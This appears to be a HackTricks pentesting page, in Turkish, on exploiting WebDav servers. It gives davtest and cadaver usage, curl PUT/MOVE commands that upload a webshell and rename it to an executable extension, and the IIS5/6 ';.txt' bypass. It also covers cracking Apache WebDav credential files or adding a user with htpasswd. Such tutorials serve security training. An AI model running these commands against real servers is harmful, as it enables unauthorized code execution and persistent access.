83 lines
4.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebDav
{{#include ../../banners/hacktricks-training.md}}
**WebDav** etkin bir **HTTP Sunucusu** ile çalışırken, doğru **kimlik bilgilerine** sahip olduğunuzda **dosyaları manipüle etmek** mümkündür; bu genellikle **HTTP Temel Kimlik Doğrulaması** ile doğrulanır. Böyle bir sunucu üzerinde kontrol sağlamak genellikle **bir webshell'in yüklenmesi ve çalıştırılmasını** içerir.
WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir; [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) bunları elde etmenin yaygın bir yöntemidir.
Dosya yükleme kısıtlamalarını aşmak için, özellikle sunucu tarafı betiklerinin çalıştırılmasını engelleyen kısıtlamalar varsa, şunları yapabilirsiniz:
- Kısıtlama yoksa **çalıştırılabilir uzantılara** sahip dosyaları doğrudan **yükleyin**.
- Yüklenen çalıştırılamayan dosyaları (örneğin .txt) çalıştırılabilir bir uzantıya **yeniden adlandırın**.
- Yüklenen çalıştırılamayan dosyaları **kopyalayın**, uzantılarını çalıştırılabilir bir uzantıya değiştirecek şekilde.
## DavTest
**Davtest**, **farklı uzantılara sahip birkaç dosya yüklemeyi** dener ve uzantının **çalıştırılıp çalıştırılmadığını** **kontrol eder**:
```bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
```
![](<../../images/image (851).png>)
Bu, **.txt** ve **.html uzantılarının çalıştırıldığı** anlamına gelmez. Bu, web üzerinden **bu dosyalara erişebileceğiniz** anlamına gelir.
## Cadaver
Bu aracı **WebDav** sunucusuna bağlanmak ve işlemleri (örneğin **yükleme**, **taşıma** veya **silme**) **manuel** olarak gerçekleştirmek için kullanabilirsiniz.
```
cadaver <IP>
```
## PUT isteği
```
curl -T 'shell.txt' 'http://$ip'
```
## MOVE isteği
```bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
```
## IIS5/6 WebDav Açığı
Bu açık çok ilginç. **WebDav**, **.asp** uzantılı dosyaların **yüklenmesine** veya **yeniden adlandırılmasına** **izin vermez**. Ancak, ismin sonuna **";.txt"** ekleyerek bunu **bypass** edebilirsiniz ve dosya, sanki bir .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** de kullanabilirsiniz ama **";"yı unutmayın**).
Sonra, shell'inizi bir ".**txt" dosyası** olarak **yükleyebilir** ve onu bir ".asp;.txt" dosyasına **kopyalayabilir/hareket ettirebilirsiniz**. Web sunucusu üzerinden o dosyaya eriştiğinizde, **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söyleyecektir, ama çalıştı).
![](<../../images/image (1092).png>)
## Post kimlik bilgileri
Eğer Webdav bir Apache sunucusu kullanıyorsa, Apache'de yapılandırılmış sitelere bakmalısınız. Genellikle:\
_**/etc/apache2/sites-enabled/000-default**_
İçinde şöyle bir şey bulabilirsiniz:
```
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
```
Gördüğünüz gibi, **webdav** sunucusu için geçerli **credentials** içeren dosyalar var:
```
/etc/apache2/users.password
```
Bu tür dosyaların içinde **kullanıcı adı** ve şifrenin bir **hash**'i bulunur. Bunlar, webdav sunucusunun kullanıcıları kimlik doğrulamak için kullandığı kimlik bilgileridir.
Onları **kırmayı** deneyebilir veya bir nedenle **webdav** sunucusuna **erişmek** istiyorsanız **daha fazla** ekleyebilirsiniz:
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Yeni kimlik bilgilerini kontrol etmek için şunları yapabilirsiniz:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```
## Referanslar
- [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/)
{{#include ../../banners/hacktricks-training.md}}